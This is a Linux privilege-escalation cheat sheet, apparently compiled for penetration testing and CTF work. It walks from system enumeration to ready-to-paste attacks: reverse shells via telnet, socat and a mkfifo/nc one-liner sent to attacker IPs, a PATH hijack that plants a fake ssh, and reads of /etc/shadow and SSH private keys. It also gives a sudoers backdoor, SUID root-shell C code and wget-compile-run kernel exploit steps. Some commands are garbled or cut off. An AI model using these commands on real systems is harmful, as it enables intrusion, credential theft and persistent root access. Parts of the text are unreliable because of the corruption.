

# LinuxPentest

Enumeration is the key.

(Linux) privilege escalation is all about:

Collect - Enumeration, more enumeration and some more enumeration.

Process - Sort through data, analyse and prioritisation.

Search - Know what to search for and where to find the exploit code.

Adapt - Customize the exploit, so it fits. Not every exploit work for every system "out of the box".

Try - Get ready for (lots of) trial and error.

Operating System

What's the distribution type? What version?

```
cat /etc/issue
```

```
cat /etc/*-release
```

```
cat /etc/lsb-release
```

```
cat /etc/redhat-release
```

What's the Kernel version? Is it 64-bit?

```
cat /proc/version
```

```
uname -a
```

```
uname -mrs
```

```
rpm -q kernel
```

```
dmesg | grep Linux
```

```
ls /boot | grep vmlinuz-
```

What can be learnt from the environmental variables?

```
cat /etc/profile
```

```
cat /etc/bashrc
```

```
cat ~/.bash_profile
```

```
cat ~/.bashrc
```

```
cat ~/.bash_logout
```

```
env
```

```
set
```

Is there a printer?

```
lpstat -a
```

Applications & Services

What services are running? Which service has which user privilege?

```
ps aux
```

```
ps -ef
```

```
top
```

```
cat /etc/service
```

Which service(s) are been running by root? Of these services, which are vulnerable - it's worth a double check!

```
ps aux | grep root
```

```
ps -ef | grep root
```

What applications are installed? What version are they? Are they currently running?

```
ls -alh /usr/bin/
```

```
ls -alh /sbin/
```

```
dpkg -l
```

```
rpm -qa
```

```
ls -alh /var/cache/apt/archives0
```

```
ls -alh /var/cache/yum/
```

Any of the service(s) settings misconfigured? Are any (vulnerable) plugins attached?

```
cat /etc/syslog.conf
```

```
cat /etc/chttp.conf
```

```
cat /etc/lighttpd.conf
```

```
cat /etc/cups/cupsd.conf
```

```
cat /etc/inetd.conf
```

```
cat /etc/apache2/apache2.conf
```

```
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/'
```

What jobs are scheduled?

```
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
```

Any plain text usernames and/or passwords?

```
grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla
```

Communications & Networking

What NIC(s) does the system have? Is it connected to another network?

```
/sbin/ifconfig -a
cat /etc/network/interfaces
cat /etc/sysconfig/network
```

What are the network configuration settings? What can you find out about this network? DHCP server? DNS server? Gateway?

```
cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname
dnsdomainname
```

What other users & hosts are communicating with the system?

```
lsof -i
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on
last
w
```

Whats cached? IP and/or MAC addresses

```
arp -e
route
/sbin/route -nee
```

Is packet sniffing possible? What can be seen? Listen to live traffic

```
# tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]
tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21
```

Have you got a shell? Can you interact with the system?

```
# http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/
nc -lvp 4444 # Attacker. Input (Commands)
nc -lvp 4445 # Attacker. Output (Results)
telnet [attackers ip] 44444 | /bin/sh | [local ip] 44445 # On the targets system. Use the attackers IP!
```

Is port forwarding possible? Redirect and interact with traffic from another view

# rinetd

# <http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch>

# fpipe

# FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP]

FPipe.exe -l 80 -r 80 -s 80 192.168.1.7

# ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]

ssh -L 8080:127.0.0.1:80 root@192.168.1.7 # Local Port

ssh -R 8080:127.0.0.1:80 root@192.168.1.7 # Remote Port

# mkncod backpipe p ; nc -l -p [remote port] < backpipe | nc [local IP] [local port] >backpipe

mkncod backpipe p ; nc -l -p 8080 < backpipe | nc 10.1.1.251 80 >backpipe # Port Relay

mkncod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe # Prox

mkncod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe # Pr

Is tunnelling possible? Send commands locally, remotely

ssh -D 127.0.0.1:9050 -N [username]@[ip]

proxychains ifconfig

Confidential Information & Users

Who are you? Who is logged in? Who has been logged in? Who else is there? Who can do what?

id

who

w

last

cat /etc/passwd | cut -d: # List of users

grep -v -E "^#" /etc/passwd | awk -F: '\$3 == 0 { print \$1}' # List of super users

awk -F: '(\$3 == "0") {print}' /etc/passwd # List of super users

cat /etc/sudoers

sudo -l

What sensitive files can be found?

cat /etc/passwd

cat /etc/group

cat /etc/shadow

ls -alh /var/mail/

Anything "interesting" in the home directorie(s)? If it's possible to access

ls -ahlR /root/

ls -ahlR /home/

Are there any passwords in; scripts, databases, configuration files or log files? Default paths and locations for passw

cat /var/apache2/config.inc

cat /var/lib/mysql/mysql/user.MYD

cat /root/anaconda-ks.cfg

What has the user being doing? Is there any password in plain text? What have they been editing?

cat ~/.bash\_history

cat ~/.nano\_history

cat ~/.atftp\_history

cat ~/.mysql\_history

cat ~/.php\_history

What user information can be found?

cat ~/.bashrc

cat ~/.profile

cat /var/mail/root

cat /var/spool/mail/root

Can private-key information be found?

cat ~/.ssh/authorized\_keys

cat ~/.ssh/identity.pub

cat ~/.ssh/identity

```

cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key

```

#### File Systems

Which configuration files can be written in /etc/? Able to reconfigure a service?

```

ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null      # Anyone
ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null        # Owner
ls -aRl /etc/ | awk '$1 ~ /^....w/' 2>/dev/null      # Group
ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null         # Other

```

```

find /etc/ -readable -type f 2>/dev/null             # Anyone
find /etc/ -readable -type f -maxdepth 1 2>/dev/null # Anyone

```

What can be found in /var/ ?

```

ls -alh /var/log
ls -alh /var/mail
ls -alh /var/spool
ls -alh /var/spool/lpd
ls -alh /var/lib/pgsql
ls -alh /var/lib/mysql
cat /var/lib/dhcp3/dhclient.leases

```

Any settings/files (hidden) on website? Any settings file with database information?

```

ls -alhR /var/www/
ls -alhR /srv/www/htdocs/
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/
ls -alhR /var/www/html/

```

Is there anything in the log file(s) (Could help with "Local File Includes"!)

# <http://www.thegeekstuff.com/2011/08/linux-var-log-files/>

```

cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chrony.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure

```

```

cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/
# auth.log, boot, btmap, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp

```

If commands are limited, you break out of the "jail" shell?

```

python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
/bin/sh -i

```

How are file-systems mounted?

```

mount
df -h

```

Are there any unmounted file-systems?

```

cat /etc/fstab

```

Kernel, Operating System & Device Information:

```

CommandResult
uname -aPrint all available system information
uname -rKernel release
uname -nSystem hostname
hostnameAs above
uname -mLinux kernel architecture (32 or 64 bit)
cat /proc/versionKernel information
cat /etc/*-releaseDistribution information
cat /etc/issueAs above
cat /proc/cpuinfoCPU information
df -aFile system information

```

Users & Groups:

```

CommandResult
cat /etc/passwdList all users on the system
cat /etc/groupList all groups on the system
for i in $(cat /etc/passwd 2>/dev/null | cut -d":" -f1 2>/dev/null);do id $i;done 2>/dev/nullList all uid's and respect
cat /etc/shadowShow user hashes - Privileged command
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'List all super user accounts
fingerUsers currently logged in
pinkyAs above
usersAs above
who -aAs above
wWho is currently logged in and what they're doing
lastListing of last logged on users
lastlogInformation on when all users last logged in
lastlog -u %username%Information on when the specified user last logged in
lastlog |grep -v "Never"Entire list of previously logged on users

```

User & Privilege Information:

```

CommandResult
whoamiCurrent username
idCurrent user information
cat /etc/sudoersWho's allowed to do what as root - Privileged command
sudo -lCan the current user perform anything as root
sudo -l 2>/dev/null | grep -w 'nmap|perl|awk'|'find'|'bash'|'sh'|'man'

```

|'more'|'less'|'vi'|'vim'|'nc'|'netcat'|python

|ruby|lua|irb| | xargs -r ls -la 2>/dev/null■Can the current user run any 'interesting' binaries as root and if so also

#### Environmental Information:

Command■Result

env■Display environmental variables

set■As above

echo \$PATH■Path information

history■Displays command history of current user

pwd■Print working directory, i.e. 'where am I'

cat /etc/profile■Display default system variables

cat /etc/shells■Display available shells

#### Interesting Files:

Command■Result

find / -perm -4000 -type f 2>/dev/null■Find SUID files

find / -uid 0 -perm -4000 -type f 2>/dev/null■Find SUID files owned by root

find / -perm -2000 -type f 2>/dev/null■Find GUID files

find / -perm -2 -type f 2>/dev/null■Find world-writeable files

find / ! -path "\*/proc/\*" -perm -2 -type f -print 2>/dev/null■Find world-writeable files excluding those in /proc

find / -perm -2 -type d 2>/dev/null■Find word-writeable directories

find /home -name \*.rhosts -print 2>/dev/null■Find rhost config files

find /home -iname \*.plan -exec ls -la {} ; -exec cat {} 2>/dev/null ;■Find \*.plan files, list permissions and cat the f

find /etc -iname hosts.equiv -exec ls -la {} 2>/dev/null ; -exec cat {} 2>/dev/null ;■Find hosts.equiv, list permission

ls -ahlR /root/■See if you can access other user directories to find interesting files

cat ~/.bash\_history■Show the current users' command history

ls -la ~/.\*\_history■Show the current users' various history files

ls -la /root/.\*\_history■Can we read root's history files

ls -la ~/.ssh/■Check for interesting ssh files in the current users' directory

find / -name "id\_dsa\*" -o -name "id\_rsa\*" -o -name "known\_hosts" -o -name "authorized\_hosts" -o -name "authorized\_keys"

ls -la /usr/sbin/in.\*■Check Configuration of inetd services

grep -l -i pass /var/log/\*.log 2>/dev/null■Check log files for keywords ('pass' in this example) and show positive matc

find /var/log -type f -exec ls -la {} ; 2>/dev/null■List files in specified directory (/var/log)

find /var/log -name \*.log -type f -exec ls -la {} ; 2>/dev/null■List .log files in specified directory (/var/log)

find /etc/ -maxdepth 1 -name \*.conf -type f -exec ls -la {} ; 2>/dev/null■List .conf files in /etc (recursive 1 level)

ls -la /etc/\*.conf■As above

find / -maxdepth 4 -name \*.conf -type f -exec grep -Hn password {} ; 2>/dev/null■Find .conf files (recursive 4 levels)

ls -i -n■List open files (output will depend on account privileges)

head /var/mail/root■Can we read roots mail

#### Service Information:

Command■Result

ps aux | grep root■View services running as root

ps aux | awk '{print \$11}'|xargs -r ls -la 2>/dev/null |awk '!x[\$0]++'■Lookup process binary path and permissions

cat /etc/inetd.conf■List services managed by inetd

cat /etc/xinetd.conf■As above for xinetd

cat /etc/xinetd.conf 2>/dev/null | awk '{print \$7}' |xargs -r ls -la 2>/dev/null■A very 'rough' command to extract asso

ls -la /etc/exports 2>/dev/null; cat /etc/exports 2>/dev/null■Permissions and contents of /etc/exports (NFS)

#### Jobs/Tasks:

Command■Result

crontab -l -u %username%■Display scheduled jobs for the specified user - Privileged command

ls -la /etc/cron\*■Scheduled jobs overview (hourly, daily, monthly etc)

ls -aRl /etc/cron\* | awk '\$1 ~ /w.\$/' 2>/dev/null■What can 'others' write in /etc/cron\* directories

top■List of current tasks

#### Networking, Routing & Communications:

Command■Result

/sbin/ifconfig -a■List all network interfaces

cat /etc/network/interfaces■As above

arp -a■Display ARP communications

route■Display route information

```
cat /etc/resolv.conf■Show configured DNS sever addresses
netstat -antp■List all TCP sockets and related PIDs (-p Privileged command)
netstat -anup■List all UDP sockets and related PIDs (-p Privileged command)
iptables -L■List rules - Privileged command
cat /etc/services■View port numbers/services mappings
```

#### Programs Installed:

```
Command■Result
dpkg -l■Installed packages (Debian)
rpm -qa■Installed packages (Red Hat)
sudo -V■Sudo version - does an exploit exist?
httpd -v■Apache version
apache2 -v■As above
apache2ctl (or apachectl) -M■List loaded Apache modules
mysql --version■Installed MYSQL version details
psql -V■Installed Postgres version details
perl -v■Installed Perl version details
java -version■Installed Java version details
python --version■Installed Python version details
ruby -v■Installed Ruby version details
find / -name %program_name% 2>/dev/null (i.e. nc, netcat, wget, nmap etc)■Locate 'useful' programs (netcat, wget etc)
which %program_name% (i.e. nc, netcat, wget, nmap etc)■As above
dpkg --get-selections | grep compiler | grep -v decompiler 2>/dev/null && yum list installed 'gcc*' 2>/dev/null | grep gcc
cat /etc/apache2/envvars 2>/dev/null |grep -i 'user|group' |awk '{sub(/.*export /,"")}1'■Which account is Apache running as?
```

#### Common Shell Escape Sequences:

```
Command■Program(s)
:!bash■vi, vim
:set shell=/bin/bash:shell■vi, vim
!bash■man, more, less
find / -exec /usr/bin/awk 'BEGIN {system("/bin/bash")}' ; ■find
awk 'BEGIN {system("/bin/bash")}'■awk
--interactive■nmap
echo "os.execute('/bin/sh')" > exploit.nse

sudo nmap --script=exploit.nse■nmap (thanks to comment by anonymous below)
perl -e 'exec "/bin/bash";'■Perl
```

What "Advanced Linux File Permissions" are used? Sticky bits, SUID & GUID

```
find / -perm -1000 -type d 2>/dev/null # Sticky bit - Only the owner of the directory or the owner of a file can delete files
find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user who started it.
find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it.
```

```
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID
for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done # Looks in 'common' locations
# find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any files
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null
```

Where can written to and executed from? A few 'common' places: /tmp, /var/tmp, /dev/shm

```
find / -writable -type d 2>/dev/null # world-writeable folders
find / -perm -222 -type d 2>/dev/null # world-writeable folders
find / -perm -o+w -type d 2>/dev/null # world-writeable folders

find / -perm -o+x -type d 2>/dev/null # world-executable folders

find / \( -perm -o+w -perm -o+x \) -type d 2>/dev/null # world-writeable & executable folders
```

Any "problem" files? World-writeable, "nobody" files

```
find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print # world-writeable files
find /dir -xdev \( -nouser -o -nogroup \) -print # Noowner files
```

#### Preparation & Finding Exploit Code

What development tools/languages are installed/supported?

```
find / -name perl*
find / -name python*
```

```
find / -name gcc*
find / -name cc
```

How can files be uploaded?

```
find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp
```

##### Linux Privilege Escalation using Sudo Rights #####

NOTE:

(ALL:ALL) can also represent as (ALL)

If you found (root) in place of (ALL:ALL) then it denotes that user can run the command as root.

If nothing is mention for user/group then it means sudo defaults to the root user.

# Traditional Method to assign Root Privilege

```
visudo
usertest ALL=(ALL:ALL) ALL
or
usertest ALL=(ALL) ALL
```

# Spawn Root Access

Suppose you successfully login into victim's machine through ssh and want to know sudo rights for the current user then

```
sudo -l
```

In the traditional method, PASSWD option is enabled for user authentication while executing above command and it can be

```
sudo su
```

```
id
```

# Default Method to assign Root Privilege

Default Method to assign Root Privilege to usertest under User Privilege Specification category.

```
visudo
usertest ALL=ALL
or
usertest ALL=(root) ALL
```

# Allow Root Privilege to Binary commands

Sometimes the user has the authorization to execute any file or command of a particular directory such as /bin/cp, /bin

```
usertest ALL=(root) NOPASSWD: /usr/bin/find
```

NOTE: Here NOPASSWD tag that means no password will be requested for the user while running sudo -l command.

# Spawn Root Access using Find Command

compromised the Victim's system and then move for privilege escalation phase and execute below command to view sudo use

```
sudo -l
```

```
>■User usertest may run the following commands on ubuntu
```

```
>■(root) NOPASSWD: /usr/bin/find
```

indicating that the usertest can run any command through find command. Therefore we got root access by executing below

```
sudo find /home -exec /bin/bash \;
```

```
id
```

```
>■uid=0(root) gid=0(root) groups=0(root)
```

# Allow Root Privilege to Binary Programs

Sometimes admin assigns delicate authorities to a particular user to run binary programs which allow a user to edit any

```
usertest ALL= (root) NOPASSWD: usr/bin/perl, /usr/bin/python, /usr/bin/less, /usr/bin/awk, /usr/bin/man, /usr/bin/vi
```

# Spawn shell using Perl one-liner

At the time of privilege, escalation phase executes below command to view sudo user list.

```
sudo -l
```

Now you can observe the text is showing that the usertest can run Perl language program or script as root user. (/usr/b

```
perl -e 'exec "/bin/bash";'
```

# Spawn shell using Python one-liner

requires that the user can run the python language or script as root user. (/usr/bin/python) this can be determined by

```
sudo -l
```

thus we can aquire root access by executing the python one-liner

```
python -c 'import pty;pty.spawn("/bin/bash")'
```

# Spawn shell using Less Command

requires that the user can run the less command as root user. (usr/bin/less) this can be determined by running



```
sudo -l
```

Hence we obtained root access by executing following

```
sudo less /etc/hosts
```

It will open requested system file for editing, BUT for spawning root shell type `!bash` as shown below and hit enter.

```
!bash
```

You will get root access.

# Spawn shell using AWK one-liner

requires that the user can run the AWK language program or script as root user. (usr/bin/awk) this can be determined by

```
sudo -l
```

Therefore we obtained root access by executing AWK one-liner.

```
sudo awk 'BEGIN {system("/bin/bash")}'
```

# Spawn shell using Man Command (Manual page)

requires that the user can run the less command as root user. (usr/bin/man) this can be determined by running

```
sudo -l
```

```
sudo man man
```

It will be displaying Linux manual pages for editing, BUT for spawning root shell type `!bash` as presented below and hit

```
!bash
```

You will get root access.

# Spawn Shell Using FTP

get root access through FTP with the help of following commands:

```
sudo ftp
```

```
! /bin/bash
```

```
whoami
```

```
or
```

```
! /bin/sh
```

```
id
```

```
whoami
```

```
>■root
```

# Spawn Shell Using Socat

get root access through socat with the help of following commands. Execute below command on the attacker's terminal in

```
socat file:`tty`,raw,echo=0 tcp-listen:1234
```

Then run the following command on victim's machine and you will get root access on your attacker machine.

```
socat exec:'sh -li',pty,stderr,setsid,sigint,sane tcp:192.168.1.105:1234
```

```
id
```

```
whoami
```

```
>■root
```

##### Part Two Sequential Thinking Process#####

Defacto Linux Privilege Escalation Guide - A much more thorough guide for linux enumeration:

[<https://blog.g0tmilk.com/2011/08/basic-linux-privilege-escalation/>](<https://blog.g0tmilk.com/2011/08/basic-linux-privi>

Try the obvious - Maybe the user can sudo to root:

```
`sudo su`
```

Here are the commands I have learned to use to perform linux enumeration and privledge escalation:

What services are running as root?:

```
`ps aux | grep root`
```

What files run as root / SUID / GUID?:

```
find / -perm +2000 -user root -type f -print
```

```
find / -perm -1000 -type d 2>/dev/null # Sticky bit - Only the owner of the directory or the owner of a file can delete
```

```
find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user who started it.
```

```
find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it.
```

```
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID
```

```
for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done
```

```
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null
```

What folders are world writeable?:

```
find / -writable -type d 2>/dev/null # world-writeable folders
```

```
find / -perm -222 -type d 2>/dev/null # world-writeable folders
```

```
find / -perm -o w -type d 2>/dev/null # world-writeable folders
```

```
find / -perm -o x -type d 2>/dev/null # world-executable folders
```

```
find / \( -perm -o w -perm -o x \) -type d 2>/dev/null # world-writeable & executable folders
```

There are a few scripts that can automate the linux enumeration process:

Google is my favorite Linux Kernel exploitation search tool. Many of these automated checkers are missing important ke

LinuxPrivChecker.py - My favorite automated linux priv enumeration checker -  
[<https://www.securitysift.com/download/linuxprivchecker.py>](<https://www.securitysift.com/download/linuxprivchecker.py>)

LinEnum - (Recently Updated)  
[<https://github.com/rebootuser/LinEnum>](<https://github.com/rebootuser/LinEnum>)

linux-exploit-suggester (Recently Updated)  
[<https://github.com/mzet-/linux-exploit-suggester>](<https://github.com/mzet-/linux-exploit-suggester>)

Highon.coffee Linux Local Enum - Great enumeration script!  
`wget <https://highon.coffee/downloads/linux-local-enum.sh>`

Linux Privilege Exploit Suggester (Old has not been updated in years)  
[[https://github.com/PenturaLabs/Linux\\_Exploit\\_Suggester](https://github.com/PenturaLabs/Linux_Exploit_Suggester)]([https://github.com/PenturaLabs/Linux\\_Exploit\\_Suggester](https://github.com/PenturaLabs/Linux_Exploit_Suggester))

Linux post exploitation enumeration and exploit checking tools  
[<https://github.com/reider-roque/linpostexp>](<https://github.com/reider-roque/linpostexp>)

#### ####Handy Kernel Exploits####

CVE-2010-2959 - 'CAN BCM' Privilege Escalation - Linux Kernel < 2.6.36-rc1 (Ubuntu 10.04 / 2.6.32)  
[<https://www.exploit-db.com/exploits/14814/>](<https://www.exploit-db.com/exploits/14814/>)

wget -O i-can-haz-modharden.c <http://www.exploit-db.com/download/14814>

\$ gcc i-can-haz-modharden.c -o i-can-haz-modharden

\$ ./i-can-haz-modharden

[+] launching root shell!

# id

uid=0(root) gid=0(root)

CVE-2010-3904 - Linux RDS Exploit - Linux Kernel <= 2.6.36-rc8  
[<https://www.exploit-db.com/exploits/15285/>](<https://www.exploit-db.com/exploits/15285/>)

CVE-2012-0056 - MempoDipper - Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64)  
[<https://git.zx2c4.com/CVE-2012-0056/about/>](<https://git.zx2c4.com/CVE-2012-0056/about/>)

Linux CVE 2012-0056

wget -O exploit.c <http://www.exploit-db.com/download/18411>

gcc -o mempodipper exploit.c

./mempodipper

CVE-2016-5195 - Dirty Cow - Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8  
[<https://dirtycow.ninja/>](<https://dirtycow.ninja/>)

First existed on 2.6.22 (released in 2007) and was fixed on Oct 18, 2016

Run a command as a user other than root

sudo -u haxzor /usr/bin/vim /etc/apache2/sites-available/000-default.conf

Add a user or change a password

/usr/sbin/useradd -p 'openssl passwd -1 thePassword' haxzor

echo thePassword | passwd haxzor --stdin

#### ####Local Privilege Escalation Exploit in Linux####

**\*\*SUID\*\*** (\*\*S\*\*et owner **\*\*U\*\*ser** **\*\*ID\*\*** up on execution)

Often SUID C binary files are required to spawn a shell as a superuser, you can update the UID / GID and shell as required.

below are some quick copy and paste examples for various shells:

SUID C Shell for /bin/bash

```
int main(void){
setresuid(0, 0, 0);
system("/bin/bash");
}
```

SUID C Shell for /bin/sh

```
int main(void){
setresuid(0, 0, 0);
system("/bin/sh");
}
```

```
Building the SUID Shell binary
gcc -o suid suid.c
For 32 bit:
gcc -m32 -o suid suid.c
```

```
####Create and compile an SUID from a limited shell (no file transfer)####
```

```
echo "int main(void){\nsetgid(0);\nsetuid(0);\nsystem(\"/bin/sh\");\n}" >privsc.c
gcc privsc.c -o privsc
```

Handy command if you can get a root user to run it. Add the www-data user to Root SUDO group with no password requirement

```
`echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/uptd`
```

You may find a command is being executed by the root user, you may be able to modify the system PATH environment variable to execute your command instead. In the example below, ssh is replaced with a reverse shell SUID connecting to 10.10.10.1 on port 4444.

```
set PATH="/tmp:/usr/local/bin:/usr/bin:/bin"
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.1 4444 >/tmp/f" >> /tmp/ssh
chmod +x ssh
```

```
####SearchSploit####
```

```
searchsploit â€œuncsearchsploit apache 2.2
searchsploit "Linux Kernel"
searchsploit linux 2.6 | grep -i ubuntu | grep local
searchsploit slmail
```

Kernel Exploit Suggestions for Kernel Version 3.0.0

```
`./usr/share/linux-exploit-suggester/Linux_Exploit_Suggester.pl -k 3.0.0`
```

Precompiled Linux Kernel Exploits - \*\*\*Super handy if GCC is not installed on the target machine!\*\*\*

```
[*https://www.kernel-exploits.com/*](https://www.kernel-exploits.com/)
```

Collect root password

```
`cat /etc/shadow |grep root`
```

Find and display the proof.txt or flag.txt - LOOT!

```
cat `find / -name proof.txt -print`
```

Finding exploit code

```
http://www.exploit-db.com
http://1337day.com
http://www.securiteam.com
http://www.securityfocus.com
http://www.exploitsearch.net
http://metasploit.com/modules/
http://securityreason.com
http://seclists.org/fulldisclosure/
http://www.google.com
```

Finding more information regarding the exploit

```
http://www.cvedetails.com
http://packetstormsecurity.org/files/cve/[CVE]
http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE]
http://www.vulnview.com/cve-details.php?cvename=[CVE]
```

(Quick) "Common" exploits. Warning. Pre-compiled binaries files. Use at your own risk

```
http://tarantula.by.ru/localroot/
http://www.kecepatan.66ghz.com/file/local-root-exploit-priv9/
```